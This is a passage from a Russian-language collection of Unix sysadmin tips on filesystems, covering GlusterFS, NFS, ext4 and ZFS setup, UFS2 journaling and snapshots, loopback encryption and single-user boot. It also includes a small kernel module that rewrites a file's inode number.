       volume remote2
        type protocol/client
        option transport-type tcp
        option remote-host 192.168.0.101 # server2.example.com
        option remote-subvolume brick
       end-volume
    
       volume replicate
        type cluster/replicate
        subvolumes remote1 remote2
       end-volume
    
       volume writebehind
        type performance/write-behind
        option window-size 1MB
        subvolumes replicate
       end-volume
    
       volume cache
        type performance/io-cache
        option cache-size 512MB
        subvolumes writebehind
       end-volume
    
    
    Монтируем файловую систему GlusterFS в каталог /mnt/glusterfs:
    
       glusterfs -f /etc/glusterfs/glusterfs.vol /mnt/glusterfs
    или
       mount -t glusterfs /etc/glusterfs/glusterfs.vol /mnt/glusterfs
    
    Для автоматизации монтирования во время загрузки в /etc/fstab сдедует добавить:
    
       /etc/glusterfs/glusterfs.vol  /mnt/glusterfs  glusterfs  defaults  0  0
    
    Тестирование
    
    Создаем в GlusterFS разделе на стороне клиента несколько файлов:
    
       touch /mnt/glusterfs/test1
       touch /mnt/glusterfs/test2
    
    Эти файла сразу должны появиться на серверах в каталоге /data/export
    
    Выключим первый сервер и добавить на стороне клиента еще несколько файлов:
    
       touch /mnt/glusterfs/test3
       touch /mnt/glusterfs/test4
       rm -f /mnt/glusterfs/test2
    
    Изменения должны появиться на втором сервере.
    
    Включим первый сервер и увидим, что данные на нем неактуальны. Изменения будут
    синхронизированы автоматически, для инициирования синхронизации на стороне
    клиента достаточно выполнить любую операцию с разделом, например, посмотреть
    содержимое через "ls -l /mnt/glusterfs/".
    
    
    GlusterFS в роли замены NFS с поддержкой кэширования.
    
    Чтобы примонтировать раздел в NFS-подобном виде, без репликации, достаточно
    добавить в конфигурации сервера в блоке "volume locks" опцию "option
    mandatory-locks on". На стороне клиента нужно закомментировать в конфигурации
    блок "volume replicate" и  убрать блок, описывающий вторую реплицируемую
    директорию "volume remote2". В секции "volume writebehind" на стороне клиента
    при этом заменяем опцию "subvolumes replicate" на "subvolumes remote", а также
    можем уменьшить размер окна до 1 Мб ("option window-size 1MB").
    
    Создание распределенного на 4 узла хранилища
    
    При реализации хранилища, распределенного на 4 узла, настройка производится
    аналогично, по аналогии с remote2 добавляются разделы remote3 и remote4. Вместо
    "volume replicate" добавляется раздел "volume distribute":
    
       ...
       volume remote3
         type protocol/client
         option transport-type tcp
         option remote-host server3.example.com
         option remote-subvolume brick
       end-volume
    
       volume remote4
         type protocol/client
         option transport-type tcp
         option remote-host server4.example.com
         option remote-subvolume brick
       end-volume
    
       volume distribute
         type cluster/distribute
         subvolumes remote1 remote2 remote3 remote4
       end-volume
       ...
    
    В блоке "volume writebehind" приписывается "subvolumes distribute".
    
    Конфигурацию можно сгенерировать автоматически, например, запустив на одном из серверов:
    
       glusterfs-volgen --name repstore1 --raid 1 hostname1:/export/sdb1 \
         hostname2:/export/sdb1 hostname3:/export/sdb1 hostname4:/export/sdb1
    
    При надлежащей настройке параметров доступа к серверам все параметры
    конфигурации серверных и клиентских составляющих на всех машинах
    распределенного хранилища будут обновлены автоматически. Для систем не
    поддерживающих GlusterFS доступ к хранилищу можно организовать через NFS, SMB
    или WebDAV.
    
     
    ----* Монтирование VFAT в Linux как в Windows   Автор: Bill Routers  [комментарии]
     
    Возможно, повторюсь, но, на мой взгляд, кому-нибудь будет полезно.
    
    Локаль - ru_RU.UTF-8
    Проверено Ubuntu 8.04, Debian 5.0.3.
    
    Путем "долгих исследований" получил следующие опции монтирование раздела FAT.
    
       /dev/sdf1  /media/usb  vfat rw,async,flush,users,noatime,noauto,utf8,codepage=866,check=r,\
       quiet,showexec,shortname=winnt 0	0
    
    Главное это опции: utf8,codepage=866,check=r.
    По умолчанию они не задействованы.
    Без них "vfat" ведет себя не так как Windows XP Rus,
    позволяя создавать файлы по русски в разном регистре.
    Саша <> САша <> саша <> СашА.
    Конечно, можно создавать файлы "only English",
    но не всегда это удобно и возможно, особенно при копировании.
    
     
    ----* Изменение номера inode файла в Linux   Автор: Victor Leschuk  [комментарии]
     
    Для некоторых специфических целей может понадобиться изменить номер inode у существующего файла, 
    либо создать файл с заранее заданным номером. Штатными средствами сделать это -
    задача нетривиальная,
    однако с помощью модуля ядра это несложно. 
    
    Создаем файл inode_modify.c следующего содержания: 
    
     #include <linux/module.h>
     #include <linux/kernel.h>
     #include <linux/version.h>
    
     #include <linux/fs.h>
     #include <linux/namei.h>
    
     #ifndef BUF_LEN
     #define BUF_LEN 256
     #endif
    
     char file[BUF_LEN];
     unsigned long new_num=0;
    
     module_param_string( name, file, BUF_LEN, 0);
     module_param(new_num, ulong, 0);
    
    
     struct nameidata nd;
    
     unsigned long get_number() {
    	int error;
    	error = path_lookup( file, 0, &nd);
    	printk( KERN_ALERT "name = %s\n", file);
    	if(error) {
    		printk( KERN_ALERT "Can't access file\n");
    		return -1;
    	}
     #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,25)
    	return nd.path.dentry->d_inode->i_ino;
     #else 
    	return nd.dentry->d_inode->i_ino;
     #endif
     }
    
     unsigned long set_number(unsigned long new_num) {
     #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,25)
    	nd.path.dentry->d_inode->i_ino = new_num;
    	return nd.path.dentry->d_inode->i_ino;
     #else 
    	nd.dentry->d_inode->i_ino = new_num;
    	return nd.dentry->d_inode->i_ino;
     #endif
     }
     int inode_modify_init(){
    	unsigned long inode_num;
    	inode_num = get_number();
    	printk ( KERN_ALERT "Inode number is %lu\n", inode_num);
    	printk ( KERN_ALERT "New inode number is %lu\n",  set_number(new_num));
    	return 0;
     }
    
     void inode_modify_exit(){
    	printk(KERN_ALERT "Exiting...\n"); 
     }
    
     module_init(inode_modify_init);
     module_exit(inode_modify_exit);
    
     MODULE_LICENSE("GPL");
     MODULE_AUTHOR("Victor Leschuk <Victor.Leschuk@ebanat.com>");
    
    И простой Makefile: 
    
     obj-m := inode_modify.o
    
    После чего в директории с модулем: 
    
     $ make -C  /path/to/kernel/sources SUBDIRS=$PWD modules
    
    Здесь нужно помнить, что исходники и версия gcc должны соответствовать тем, 
    которые были использованы при сборке используемого ядра.
    
    Далее тестируем модуль: 
    
     $ touch /dev/shm/test
     $ ls -i /dev/shm/test
     172461 /dev/shm/test
     $ sudo insmod ./inode_modify.ko name=/dev/shm/test new_num=12345
     $ ls -i /dev/shm/test
     12345 /dev/shm/test
     $ sudo rmmod inode_modify 
     $ dmesg |tail
     name = /dev/shm/test
     Inode number is 172461
     New inode number is 12345
     Exiting...
    
     
    ----* Настройка NFS сервера и клиента в Debian Lenny (доп. ссылка 1) (доп. ссылка 2)   Автор: Сгибнев Михаил  [комментарии]
     
    1. Вводные данные
    
       * NFS Server: server.example.com, IP address: 192.168.0.100
       * NFS Client: client.example.com, IP address: 192.168.0.101
    
    2 Установка NFS
    
    На машине, выступающей в роли NFS сервера, выполняем:
    
       apt-get install nfs-kernel-server nfs-common portmap
    
    На машине, выступающей в роли NFS клиента, выполняем:
    
       apt-get install nfs-common portmap
    
    3. Экспортируем каталоги с сервера
    
    Для того чтобы сделать доступными для клиентов каталоги /home и /var/nfs необходимо 
    предпринять следующие нехитрые действия.
    
    Когда клиент получает доступ к общему NFS ресурсу, то обычно это случается с
    правами пользователя nobody.
    Владельцем каталога /home nobody не является (и я не рекомендую это менять), а
    поскольку мы хотим иметь
    права на чтение и запись в /home, то нам необходимо указать NFS работать с
    правами пользователя root
    (если /home будет доступен только для чтения, то в этом нет необходимости). Каталог /var/nfs не 
    существует, поэтому мы его создадим и назначим владельцем nobody и nogroup:
    
       mkdir /var/nfs
       chown nobody:nogroup /var/nfs
    
    Теперь необходимо отредактировать файл /etc/exports, в котором указываются общие ресурсы. 
    Мы укажем в нем /home и /var/nfs, при этом доступ к /home будет осуществляться
    с правами пользователя root.
    
    
       # /etc/exports: the access control list for filesystems which may be exported
       #               to NFS clients.  See exports(5).
       #
       # Example for NFSv2 and NFSv3:
       # /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
       #
       # Example for NFSv4:
       # /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
       # /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
       #
       /home           192.168.0.101(rw,sync,no_root_squash,no_subtree_check)
       /var/nfs        192.168.0.101(rw,sync,no_subtree_check)
    
    Для получения дополнительной информации, воспользуйтесь командой man 5 exports.
    
    Для того, чтобы изменения вступили в силу, выполните команду:
    
       exportfs -a
    
    4. Монтируем NFS ресурс на клиенте
    
     Создаем каталоги, куда мы будем монтировать шары NFS:
    
       mkdir -p /mnt/nfs/home
       mkdir -p /mnt/nfs/var/nfs
    
    Монтируем:
    
       mount 192.168.0.100:/home /mnt/nfs/home
       mount 192.168.0.100:/var/nfs /mnt/nfs/var/nfs
    
    Проверяем:
    
       client:~# df -h
       Filesystem            Size  Used Avail Use% Mounted on
       /dev/mapper/vg0-root   19G  676M   17G   4% /
       tmpfs                 253M     0  253M   0% /lib/init/rw
       udev                   10M   80K   10M   1% /dev
       tmpfs                 253M     0  253M   0% /dev/shm
       /dev/sda1             471M   20M  427M   5% /boot
       192.168.0.100:/home    29G  684M   27G   3% /mnt/nfs/home
       192.168.0.100:/var/nfs 29G  684M   27G   3% /mnt/nfs/var/nfs
    
    И:
    
       client:~# mount
       /dev/mapper/vg0-root on / type ext3 (rw,errors=remount-ro)
       tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
       proc on /proc type proc (rw,noexec,nosuid,nodev)
       sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
       udev on /dev type tmpfs (rw,mode=0755)
       tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
       devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)  /dev/sda1 on /boot type ext3 (rw)
       192.168.0.100:/home on /mnt/nfs/home type nfs (rw,addr=192.168.0.100)
       192.168.0.100:/var/nfs on /mnt/nfs/var/nfs type nfs (rw,addr=192.168.0.100)
    
    5. Проверка
    
    На клиенте создадим несколько файлов:
    
       touch /mnt/nfs/home/test.txt
       touch /mnt/nfs/var/nfs/test.txt
    
    Зайдем на сервер и полюбуемся на результат:
    
       server:~# ls -l /home/
       total 4
       drwxr-xr-x 2 administrator administrator 4096 2009-02-16 13:18 administrator
       -rw-r--r-- 1 root          root             0 2009-03-12 17:08 test.txt
    
       server:~# ls -l /var/nfs
       total 0
       -rw-r--r-- 1 nobody nogroup 0 2009-03-12 17:08 test.txt
       server:~#
    
    Обратите внимание на то, что владельцы файлов различаются.
    
    6 Монтирование ресурсов NFS во время загрузки
    
    Вместо ручного монтирования шар, вы можете указать их в файле /etc/fstab для автоматического 
    монтирования во время начальной загрузки.
    
       vi /etc/fstab
       [...]
       192.168.0.100:/home  /mnt/nfs/home   nfs      rw,sync,hard,intr  0     0
       192.168.0.100:/var/nfs  /mnt/nfs/var/nfs   nfs    
    
    Вместо опций rw,sync,hard,intr вы можете использовать что-то другое, для получения дополнительной 
    информации, обратитесь к man nfs.
    
    Для проверки правильности монтирования перезагрузите систему. После этого в
    очередной раз проверим результат:
    
      df -h
    
     
    ----* Перевод существующего раздела на файловую систему Ext4 (доп. ссылка 1)   [комментарии]
     
    Для создания нового Ext4 раздела в e2fsprogs пакете присутствует утилита mkfs.ext4. 
    Рекомендуется обновить e2fsprogs до последней версии, минимум до 1.41.3.
    
    Для перевода Ext3 в Ext4, необходимо отмонтировать раздел (в нашем случае /dev/sda5) и выполнить:
    
       tune2fs -O extents,uninit_bg,dir_index /dev/sda5
    
    После выполнения данной команды обязательно (!) нужно запустить fsck,
    если этого не сделать файловая система не примонтируется.
    Во время выполнения fsck будет выведено сообщение о некорректной контрольной суммы
    группы дескрипторов, но это нормально, можно смело соглашаться с изменениями.
    
          fsck -pf /dev/sda5
    
    Старые файлы после преобразования останутся привязанными к старому методу мапинга блоков. 
    Для задействования экстентов (extent) необходимо провести дефрагментацию, в чем
    может помочь утилита defrag.
    
    Существующий Ext3 также можно примонитровать Ext4 драйвером, в этом случае не будут задействованы 
    изменения связанные с форматом хранения данных, а включатся только внутренние оптимизации, 
    такие как отложенное распределение информации (Delayed allocation) и mballoc.
    
       mount -t ext4 /dev/yourpartition /mnt"
    
    Список новшеств файловой системы Ext4 можно посмотреть на странице http://wiki.opennet.ru/Ext4
    
     
    ----* Настройка загрузки ZFS с GPT-раздела во FreeBSD и создание зеркала (доп. ссылка 1)   Автор: unknown  [комментарии]
     
    Во FreeBSD 8-CURRENT недавно появилась поддержка загрузки ядра с ZFS,
    а сама файловая система была обновлена до версии 13. Процесс
    развертывания ZFS с возможностью загрузки с нее очень простой:
    
    1. Собираете world с LOADER_ZFS_SUPPORT и kernel с поддержкой gpart(8):
    
    	# добавляем в make.conf(5) опцию поддержки ZFS для loader(8)
    	echo LOADER_ZFS_SUPPORT=yes >>/etc/make.conf
    
    	# собираем world... нет, только loader(8) и загрузочный код
    	cd /usr/src/sys/boot
    	make cleandir; make cleandir
    	make obj depend all install
    
    	# добавляем поддержку таблиц разделов для gpart(8)
    	cat MYKERNEL
    	include		GENERIC
    	nooption	GEOM_BSD
    	nooption	GEOM_MBR
    	options		GEOM_PART_BSD
    	options		GEOM_PART_MBR
    	options		GEOM_PART_GPT
    
    	# собираем kernel
    	make kernel KERNCONF=MYKERNEL -C/usr/src
    
    2. Размечаете первый диск командой gpart(8) на несколько разделов, из
       которых обязательны только freebsd-boot и freebsd-zfs:
    
    	# создаем таблицу разделов типа GPT на диске ad0
    	gpart create -s GPT ad0
    
    	# добавляем загрузочный код, позволяющий загружаться с GPT разделов
    	gpart bootcode -b /boot/pmbr ad0
    
    	# создаем раздел для кода загрузки loader(8)'а с раздела GPT
    	gpart add -b 34 -s 256 -t freebsd-boot ad0
    
    	# записываем загрузочный код на него
    	gpart bootcode -p /boot/gptzfsboot -i 1 ad0
    
    	# создаем swap раздел для возможности использовать его
    	# в качестве dumpdev, т.к. делать kernel dump'ы на zvol'ах
    	# невозможно
    	gpart add -b 290 -s 2097152 -t freebsd-swap ad0
    
    	# создаем основной раздел для ZFS
    	gpart add -b 2097442 -s 232344173 -t freebsd-zfs ad0
    
    	# смотрим на результат
    	gpart show
    	=>       34  234441581  ad0  GPT  (112G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    2097152    2  freebsd-swap  (1.0G)
    	    2097442  232344173    3  freebsd-zfs  (111G)
    
    3. Создаете pool для ZFS на первом разделе и загружаетесь с него:
    
    	# создаем pool с именем `h', выключенном поддержкой
    	# времени последнего доступа и включенным сжатием данных
    	zpool create -O atime=off -O compression=on h ad0p3
    
    	# создаем необходимые dataset'ы
    	zfs create -p -o setuid=off -o utf8only=on h/usr/home
    	zfs create -o sharenfs='-alldirs -webnfs' h/usr/ports
    	zfs create -o atime=on h/var
    	zfs create -o readonly=on h/var/empty
    
    	# населяем pool[1]
    	rsync -aHS --del --fileflags --filter 'merge migrate.rsync' / /h/
    
    	# перезагружаемся
    	shutdown -r now
    
    	# загружаемся *не* с ZFS в single-user режим (loader prompt)
    	boot -s
    
    	# меняем точку монтирования pool'а на корень
    	/etc/rc.d/hostid restart
    	/sbin/zfs set mountpoint=/ h
    
    	# перезагружаемся
    	/sbin/reboot
    
    	# загружаемся с ZFS (loader prompt)
    	load zfs
    	set vfs.root.mountfrom=zfs:h
    	boot
    
    	# добавляем в loader.conf(5) поддержку zfs и точку
            # монтирования / (корня)
    	echo zfs_load=YES >>/boot/loader.conf
    	echo vfs.root.mountfrom=\"zfs:h\" >>/boot/loader.conf
    
    4. Повторяете шаг 1 для второго диска и подсоединяете его к "зеркалу":
    
    	# Размечаем диск с учетом того, что количество блоков
            # у freebsd-zfs должно быть такое же, как и на первом диске.
    	# В даннном примере - 484200428.
    	=>       34  488394988  ad0  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4194304    2  freebsd-swap  (2.0G)
    	    4194594  484200428    3  freebsd-zfs  (231G)
    
    	=>       34  488397101  ad1  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4196417    2  freebsd-swap  (2.0G)
    	    4196707  484200428    3  freebsd-zfs  (231G)
    
    	# подсоединяете его к pool'у как элемент зеркала
    	# (не перепутайте с *add*)
    	zpool attach h ad0p3 ad1p3
    
    	# смотрим на результат
    	zpool status
    	  pool: h
    	 state: ONLINE
    	 scrub: none requested
    	config:
    
    		NAME        STATE     READ WRITE CKSUM
    		h           ONLINE       0     0     0
    		  mirror    ONLINE       0     0     0
    		    ad0p3   ONLINE       0     0     0
    		    ad1p3   ONLINE       0     0     0
    
    	errors: No known data errors
    
    Примечание: Тест проводился на 14 версии и с использованием
    вот этого патча - http://pastebin.com/f3d2089f3
    
    [1] пример migrate.rsync:
    	exclude .ccache
    	exclude /h
    	exclude /dev
    	exclude /nfs
    	exclude /tmp
    	exclude /var/emtpy
    	exclude /var/run
    
    Стоит не забыть потом создать эти директории в /h с соответствующими правами
    на них. В частности без /dev система не загрузится.
    
     
    ----* Клонирование дисков во FreeBSD, используя снапшоты ФС   [комментарии]
     
    Создаем снапшот test1 раздела /home
    
       mount -v -u -o snapshot /home/snapshot/test1 /home
    
    или другой метод:
    
       mksnap_ffs /home /home/snapshot/test1
    
    Привязываем снапшот к устройству /dev/md1:
    
       mdconfig -a -t vnode -f /home/snapshot/test1 -u 1
    
    При необходимости снапшот можно смонтировать и посмотреть его содержимое:
    
       mount -o ro /dev/md1 /mnt
       ....
       umount /mnt
    
    Копируем содержимое раздела на второй диск:
    
       dd if=/dev/md1 of=/dev/ad4s1f bs=16k
    
    Отключаем снапшот
    
       mdconfig -d -u 1
    
    Выполняем fsck на новом разделе:
    
       fsck -f /dev/ad4s1f
    
     
    ----* Оптимизация структуры директорий в файловых системах ext2 и ext3 (доп. ссылка 1)   [обсудить]
     
    Опция "-D" утилиты e2fsck позволяет выполнить переиндексацию при использовании
    dir_index (tune2fs -O +dir_index),
    иначе выполнить перекомпановку с сортировкой (когда было создано или удалено 
    большое количество директорий) и сокращением размера (когда в
    директории было много файлов, а потом их удалили).
    
    Пример запуска (/dev/sdb1 должен быть отмонтирован или переведен в режим только для чтения):
       # e2fsck -D -f /dev/sdb1
    
     
    ----* Обзор сетевых и кластерных ФС: Lustre, GFS, AFS, GFarm (доп. ссылка 1)   Автор: johnjoy  [комментарии]
     Lustre - кластерная ФС, AFS - сетевая ФС.

    Если подробнее - то AFS относится примерно к тому классу, в котором сидят NFS, SMB, и win2K3 DFS. Основная их задача - качественный доступ к различным (раскиданным по сети) ресурсам, с соблюдением блокировок и напором на контроль доступа и централизованное управление. Здесь четко прослеживается модель "клиент-сервер" - большинство участников сетовой ФС являются клиентами, а под шары выделяются чаще отдельные серваки. С точки зрения производительности для такой ФС критериями являются пропускная способность сервер-клиент и количество поддерживаемых коннектов. Масштабируется такая ФС вертикально - более шустрым железом. Надежность тоже поддерживается на уровнях ниже сетевой ФС (RAID, репликация средствами ОС и администратором 24/7 на мобильном =)

    Кластерных ФС известно негусто - навскидку Lustre, Google FS (+Hadoop), что-то было у IBM.

    Отличительная особенность - все участники ФС унифицированы и являются и серверами и клиентами ФС (это именно особенности реализации, конечно же можно и настроить для работы как "несколько серверов - много клиентов", но преимуществ в этом случае не получите, скорее наоборот)

    Обычный принцип действия - работа на уровне блоков: разбитый на блоки файл "размазывается" по нескольким серверам, при его чтении клиент сам собирает блоки в файл. (Комментарий Алексея: Это Google FS & RedHat GFS.. в люстре оперируют понятием объект).

    Критерии оценки таких ФС - общая пропускная способность ФС кластера (то есть сколько гб/с крутится в пределах кластера) и латентность (задержка между запросом файла и его получением). Также тут важна надежность - все блоки реплицируются на уровне ФС, вылет нода не сказывается на работе кластера.

    ФС этого класса очень разные. Lustre заточена под hiperf вычисления с низкой латентностью, посему пользуют что-нить типа InfiniBand и нестандартные MPI. Lustre замонтированая представляет из себя слегка урезaную ext3 для 2.4 ядер, для 2.6 используется ldiskfs которая значительно ближе к ext4.

    Google FS и Hadoop - вообще с классической точки зрения не ФС, ибо ничего не монтируют а предоставляют RPC API для разработчиков. Рассчитаны они на гигантские объемы информации, работу в основном на чтение большими блоками (в мегабайтах, стандартный блок такой ФС - 32-64Мб) и в очень больших количествах.

    Также есть shared storage FS - эти нужны при работе нескольких (многих) серверов с внешними дисковыми массивами. Основная задача - обеспечить быструю и правильную блокировку совместного доступа (via SAN, iSCSI, SCSI). Без них фактически каждый сервер должен работать со своим личным выделенным на массиве разделом. Из известных - GFS от RedHat, Oracle Cluster File System, PolyServe и Veritas CFS.

    RedHat GFS - раздает raw девайс и пытается управлять блокировками на уровне блоков, без учета логической организации.

    gfarm изначально позиционирует себя для таковой модели использования: есть много данных, распределенных по нодам, нужно их все параллельно обработать. В случае люстры и подобных - compute node сначала фетчит себе данные из кластерной фс, обрабатывает и возвращает обратно (отсюда требования к пропускной способности и латентности). В случае gfarm - задание по обработке для compute нода попадает благодаря gfarm именно на тот нод, где локально лежит одна из реплик требуемых данных. Соответственно по сети происходит трансфер задания на обработку данных , а не самих данных. (например, здесь, да и вообще тут- большинство тем именно parallel computing, а не distributed fs).

    Некая сборная информация есть в wikipedia.

     
    ----* Инструкция по включению журналирования в UFS2. (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    Требуется создать журналируемую файловую систему UFS2 объемом более 1 Гб на FreeBSD 6.1-STABLE.
    
    Для начала необходимо обновить дерево исходных текстов (/usr/src) до стабильной версии.
    После чего переходим в каталог /usr/src и создаем там необходимые директории:
    
       # cd /usr/src
       # mkdir {sbin/geom/class/journal,sys/geom/journal,sys/modules/geom/geom_journal}
    
    Теперь качаем сам патч:
    
       # fetch http://people.freebsd.org/%7Epjd/patches/gjournal6.patch
    
    Накладываем его на исходные тексты:
    
       # patch < gjournal6.patch
    
    Компилируем и ставим geom_journal (возможно имеет смысл пересобрать весь мир):
    
    Далее есть два пути - пересобрать весь "мир" (см. файл /usr/src/UPDATING), либо
    пересобрать только то, что было модифицировано.
    Предпочтительней первый путь, однако можно обойтись и без него. Для этого
    пересоберите следующие утилиты
    (зайдя в нижеперечисленные каталоги и выполнив в каждом из них 'make; make install; make clean'):
    
       /usr/src/include/
       /usr/src/sbin/geom/class/
       /usr/src/sbin/mount/
    
    После чего добавляем в конфиг ядра строчку:
    
       options UFS_GJOURNAL
    
    Компилируем ядро, ставим, перезагружаемся...
    
    После перезагрузки подгружаем необходимый модуль командой
    
       # gjournal load
    
    либо:
    
       # kldload geom_journal.ko
    
    (команды эквивалентны)
    
    Далее нам необходимо размонтировать раздел, на который мы собираемся поставить журнал. 
    Пусть это будет '/dev/ad0s3d' и точка монтирования '/mnt/work':
    
       # umount -f /mnt/work
    
    Теперь собстенно "прикручиваем" журнал:
    
       # gjournal label /dev/ad0s3d
    
    Монтируем командой:
    
       # mount -o async,gjournal /dev/ad0s3d.journal /mnt/work
    
    NB! префикс '.journal' появляется при наличии в памяти модуля geom_journal.ko. 
    Поэтому, если вы захотите чтобы система автоматически монтировала раздел с поддержкой журнала: 
    пропишите в файл /boot/loader.conf строчку:
    
       geom_journal_load="YES"
    
    и соответствующую запись в fstab. Для данного примера она будет выглядеть так:
    
       /dev/ad0s3d.journal   /mnt/work   ufs   rw,async,journal   2   2
    
    Все, готово!
    
    (C) 2006 Sokolov Alexey <nullbsd at gmail.com>
    
     
    ----* Создание снапшота UFS2 в FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
       mount -u -o snapshot ./snapshot_image /var
       mdconfig -a -t vnode -f ./snapshot_image -u 1
       mount -o ro /dev/md1 /mnt/snap
       ...
       umount /mnt/snap
       mdconfig -d -u 1
    
    Также можно использовать специализированную утилиту snapshot,
     представляющую собой фронтенд к mount и mdconfig.
    
     
    ----* Создание снапшота XFS под Linux используя возможности LVM  (доп. ссылка 1)   Автор: arstechnica.com  [комментарии]
     
    Замораживаем операции в ФС
         xfs_freeze -f /var/CommuniGate
    Создаем снапшот раздела  /var/CommuniGate
         lvcreate -l 500 -s -n snap /dev/cgpro/prod
    Монтируем снапшот.
        mount -o nouuid,ro /dev/mapper/cgpro-snap /var/CGPro-Snap
    Размораживаем раздел
        xfs_freeze -u /var/CommuniGate
    Производим резервное копирование снапшота
        .....
    Размонтируем и  удаляем снапшот.
        unmount /var/CGPro-Snap
        lvremove -f /dev/cgpro/snap
    
     
    ----* Создание файловой системы в файле под Linux (доп. ссылка 1)   [обсудить]
     
    Без шифрования:
        dd if=/dev/zero of=disk-image count=40960
        /sbin/mkfs -t ext3 -q disk-image
        mount -o loop=/dev/loop0 disk-image  fs
       .....работа с разделом
        losetup -d /dev/loop0
    
    С шифрованием:
        modprobe loop
        modprobe cryptoloop
        modprobe aes
        dd if=/dev/urandom of=disk-aes count=102400
        losetup -e aes /dev/loop1 ./disk-aes
        mkfs -t reiserfs /dev/loop1
        mount -o loop,encryption=aes,acl ./disk-aes /fs
        ....работа с разделом
        losetup -d /dev/loop0
    
     
    ----* Как осуществить разбивку диска в FreeBSD   Автор: lavr  [комментарии]
     
    Создать freebsd слайс и прописать стандартный загрузчик:
        fdisk -BI -v -b /boot/mbr ad0
        disklabel -w -r -B -b /boot/boot1 -s /boot/boot2 ad0s1 auto
        или проще disklabel -w -B ad0s1 auto
    Затем руками отредактировать разбивку:
       disklabel -e -r ad0s1 с нужными размерами
    newfs , затем "tunefs -n enable раздел" если нужно softupdate
    
     
    ----* Как включить поддержку ACL в UFS2 FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
    В single mode: "/sbin/tunefs -a enable /fs"
    Пересобираем ядро с "options UFS_ACL"
      getfacl - просмотр ACL
      setfacl - установка ACL
    Например: setfacl -m user:nobody:rw-,group:wheel:rw- acl-test
    
     
    ----* Чем хороши LVM, ext3, reiserfs и xfs (доп. ссылка 1)   Автор: Денис Смирнов  [комментарии]
     
    LVM - позволяет гибко создавать, удалять и изменять размеры разделов без потери данных. 
    
    ext3 - расширение ext2 для журналирования. Поддерживает журналирование данных,
    а не только метаданных (при data=journal).
    
    reiserfs - высокая скорость работы с каталогами с большим числом файлов,
    компактно хранит хвосты от файлов,
    поддерживает увеличение размера раздела без остановки сервера.
    
    xfs - быстрая работа с файлами большого размера, великолепная надёжность, поддержка ACL.
    
     
    ----* Как настроить работу шифрованной файловой системы в Linux (доп. ссылка 1)   [комментарии]
     
    1. Устанавливаем патчи cryptoapi и cryptoloop http://www.kernel.org/pub/linux/kernel/crypto/
    2. dd if=/dev/zero of=/usr/testfs bs=1M count=50
    3. modprobe cryptoloop; modprobe cryptoapi; modprobe cipher-des
    4. losetup -e des /dev/loop0 /usr/testfs
    5. mkfs -t ext3 /dev/loop0
    6. mount -t ext3 /dev/loop0 /mnt/testfs
    
     
    ----* Переход на журналируемую файловую систему Reiserfs   [комментарии]
     
    - Включаем поддержку Reiserfs в ядре.
    - Устанавливаем reiserfsprogs-3.x.0j.tar.gz 
    - Cоздаем бут дискету (mkbootdisk --device /dev/fd0 2.4.13;
    lilo -C /etc/lilo.flop) 
    - Грузимся с дискеты указав в Lilo приглашении "linux root=/dev/hd init=/bin/bash"
    - mkreiserfs /dev/hda1 
    - mount -t reiserfs /dev/had1 / 
    
     
    ----* Как перейти в Linux на файловую систему ext3 (доп. ссылка 1)   [комментарии]
     
    Выкачиваем и накладываем ext3 патчи (ftp://ftp.kernel.org/pub/linux/kernel/people/sct/ext3/) и 
    утилиты (ftp://download.sourceforge.net/pub/sourceforge/e2fsprogs/).
    Преобразуем ext2 FS в ext3 (для отмонтированного раздела hda1):
       tune2fs -j /dev/hda1
    Обратное преобразование (из ext3 в ext2):
       tune2fs -O ^has_journal /dev/hda1
       fsck.ext2 -f /dev/hdaX
    Для форматирование нового ext3 раздела:
       mke2fs -j /dev/hda1
    Как обновить версию журнала:
       mount /dev/hdaX /mnt -o journal=update
    
     
    ----* Как включить Soft-updates в FreeBSD для увеличения производительности   [комментарии]
     
    1. Перейти в single режим
    2. Убедится, что раздел диска размонтирован.
    3. tunefs -n enable раздел (например, tunefs -n enable /usr )
    
     
    ----* Как узнать подробную информацию о EX2FS, размер блоков, системные данные и т.д.   [обсудить]
     
    общие данные из суперблока - dumpe2fs -h /dev/раздел
    информацию о каждом блоке - dumpe2fs /dev/раздел
    Для FreeBSD нужно использовать dumpfs.
    
     

       Загрузка, однопользовательский режим

    ----* Как загрузиться в однопользовательский режим (single mode)   [комментарии]
     
    FreeBSD:
    	boot -s
    Solaris:
    	stop+a
    	bo: boot -s
    Linux:
    	left-alt для lilo
    	boot: linux -b rw sushell=/sbin/sash single
            (можно init=/bin/sh)
    UnixWare:
    	Во время загрузки пробел
    	[boot] INITSTATE=s
    	go
    
     
    ----* Создание шифрованных образов виртуальных машин (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Инструкция по созданию полностью зашифрованного образа гостевой системы, в
    котором шифрование охватывает корневой раздел и стадию загрузки.
    
    Извлекаем содержимое корневого раздела образа виртуальной машины, который
    требуется зашифровать,  в tar-архив vm_root.tar. Проверяем, чтобы в образе были
    необходимые для шифрования и EFI-загрузки разделов утилиты, такие как
    cryptodisk и grub-efi.
    
    Создаём файл с дисковым образом, содержащим два раздела - небольшой раздел для
    EFI (p1, 100МБ)  и корневой раздел, содержимое которого будет зашифровано (p2).
    
    
       truncate -s 4GB disk.img
       parted disk.img mklabel gpt
       parted disk.img mkpart primary 1Mib 100Mib
       parted disk.img mkpart primary 100Mib 100%
       parted disk.img set 1 esp on
       parted disk.img set 1 boot on
    
    Настраиваем EFI на первом разделе и дисковое шифрование LUKS на втором. Для
    повышения защищённости можно заполнить шифрованный раздел случайными числами,
    но это приведёт к увеличению размера итогового образа qcow2. Создаём на
    шифрованном разделе ФС Ext4.
    
    привязываем образ к loop-устройству
    
       losetup -P -f disk.img          
    
